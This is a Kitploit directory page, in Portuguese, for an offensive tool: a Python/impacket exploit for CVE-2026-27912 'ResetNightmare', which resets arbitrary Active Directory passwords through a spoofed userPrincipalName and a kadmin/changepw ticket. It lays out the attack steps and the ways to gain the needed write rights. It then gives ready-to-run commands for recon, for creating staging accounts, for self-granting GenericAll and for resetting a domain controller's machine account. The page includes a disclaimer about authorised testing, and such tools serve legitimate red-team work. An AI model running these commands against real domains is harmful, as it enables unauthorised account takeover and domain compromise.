Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ResetNightmare-impacket — CVE-2026-27912 (ResetNightmare) — port Linux/impacket do PoC Invoke-ResetNightmare da Semperis Community | Kitploit
Ferramentas/GitHubGitHub/mihat2/resetnightmare-impacket
Ataques de SenhaAnálise de VulnerabilidadesExploraçãoColeta de InformaçõesTestes de PenetraçãoAutenticaçãoRed Teaming
GitHubmihat2/resetnightmare-impacket

ResetNightmare-impacket

CVE-2026-27912 (ResetNightmare) — port Linux/impacket do PoC Invoke-ResetNightmare da Semperis Community

Ver Repositório
1527há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

ResetNightmare — CVE-2026-27912

Ferramenta Linux / impacket para CVE-2026-27912 ("ResetNightmare"). Redefine a palavra-passe de uma conta do Active Directory alvo ao solicitar um TGT kadmin/changepw para um principal NT_ENTERPRISE cujo nome é o sAMAccountName do alvo, utilizando uma conta (UPNUser) na qual podemos escrever um userPrincipalName falso.

Porta em Python da ferramenta PowerShell Semperis Community Invoke-ResetNightmare (ver Créditos).

⚠️ Aviso legal

Apenas para testes de segurança autorizados e uso educacional. Esta ferramenta altera credenciais reais do Active Directory e pode bloquear contas.

  • Execute-a apenas contra sistemas que possui ou para os quais tem permissão escrita explícita para testar (um engagement assinado ou um laboratório que controla).
  • O acesso não autorizado a sistemas informáticos é ilegal (por exemplo, o US CFAA, o UK Computer Misuse Act e equivalentes) e pode acarretar penalizações criminais e civis.
  • Os autores não aceitam qualquer responsabilidade por uso indevido. O software é fornecido "AS IS" — ver a LICENSE. Se não tem permissão, não execute isto.

Como funciona

  1. (opcional) Criar UPNUser, auto-conceder GenericAll, definir a sua palavra-passe, ativá-la.
  2. Resolver o sAMAccountName do alvo.
  3. Definir UPNUser.userPrincipalName = <targetSAN> (o UPN falso).
  4. AS-REQ como NT_ENTERPRISE '<targetSAN>' para kadmin/changepw — o KDC mapeia o UPN empresarial para o alvo e emite um TGT de alteração de palavra-passe para ele.
  5. Limpar o UPN falso.
  6. Alteração de palavra-passe via kpasswd com esse TGT → define a palavra-passe do alvo.
  7. Restaurar o UPN original do UPNUser.

Escolher --upn-user

--upn-user é a conta na qual escreve o UPN falso (um utilizador, ou um computador com --computer). O único requisito é que consiga escrever o seu userPrincipalName. Existem três formas de obter isso — as mesmas em que o original em PowerShell se baseia:

#Como obtém escrita de UPNFlagPrecisa de uma OU?
ACriar a conta numa OU onde tem Create Child → passa a ser o proprietário → a ferramenta auto-concede GenericAll → escreve o UPN--create-new-pathSim
BUma conta existente sobre a qual já tem GenericWrite / GenericAll / WriteProperty(userPrincipalName)(nenhuma)Não
CUma conta existente que possui ou sobre a qual tem WriteDacl (sem escrita direta de propriedade)--grant-selfNão

Portanto, não precisa necessariamente de controlar uma OU — o caminho B funciona com direitos delegados sobre qualquer conta individual. Mas precisa de um de A/B/C. Execute --find para ver qual tem.

Um computador de domínio sozinho não é suficiente. Uma máquina na qual é admin local / da qual tem o hash — mas sobre a qual não tem direitos de escrita no AD — não lhe dá nenhum de A/B/C. E um computador criado via MachineAccountQuota (addcomputer.py em CN=Computers) também não funciona: o seu criador não é o proprietário e não obtém escrita de UPN, pelo que tanto a escrita direta como --grant-self falham com result 50. Use o caminho A com uma OU delegada.

Instalação

python3 -m venv venv
./venv/bin/pip install -r requirements.txt

Uso

As credenciais do operador são o primeiro argumento posicional: [domain/]username[:password]. Qualquer palavra-passe pode ser omitida e ser-lhe-á pedida.

Recon — o que pode esta conta abusar? Reporta contas nas quais pode escrever um UPN, OUs nas quais pode criar objetos, e o MachineAccountQuota, com comandos sugeridos:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

Cada descoberta imprime sua(s) razão(ões) via: e o owner: do objeto. O owner distingue os dois caminhos de criação de computador à primeira vista — um computador de contêiner delegado mostra owner: <you> (você tem WRITE_DAC implícito, então --grant-self funciona), enquanto um MAQ / CN=Computers mostra owner: BUILTIN\Administrators (você não tem, então não pode ser usado):

=== Accounts you can write a UPN on  (use as --upn-user) ===
  [+] svc_web                        CN=svc_web,OU=Services,DC=corp,DC=local
        via:   WriteProperty(userPrincipalName)
        owner: Domain Admins

Redefinir um alvo usando uma conta na qual você possa gravar um UPN:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Crie primeiro a conta UPN (requer Create Child na OU e LDAPS):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Crie uma conta de computador como a conta UPN (--create-new-path + --computer):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
  --upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Conta existente onde você pode reescrever a DACL, mas não pode escrever o UPN (--grant-self). Quando --find relata um --upn-user alcançável via Owner ou WriteDacl (você pode alterar sua ACL, mas não tem escrita direta de propriedade), --grant-self adiciona primeiro uma ACE GenericAll para você, e então o ataque prossegue. Apenas para contas existentes — --create-new-path já concede a si mesmo.

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --grant-self \
  --upn-user svc_legacy --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Se o próprio --grant-self falhar com result 50, você não é o proprietário e não tem WriteDacl nessa conta — ele não pode ajudar. Este é o resultado habitual para um computador que você criou via addcomputer.py/MAQ: os criadores normalmente não recebem nem a propriedade nem uma escrita de UPN, então computadores MAQ não são utilizáveis como --upn-user. Execute --find e escolha uma conta que ele sinalize como WriteProperty(userPrincipalName), GenericWrite, GenericAll, Owner ou WriteDacl.

Adicione -debug para logging detalhado de AS-REQ / LDAP / kpasswd.

Flags

Baixar ferramenta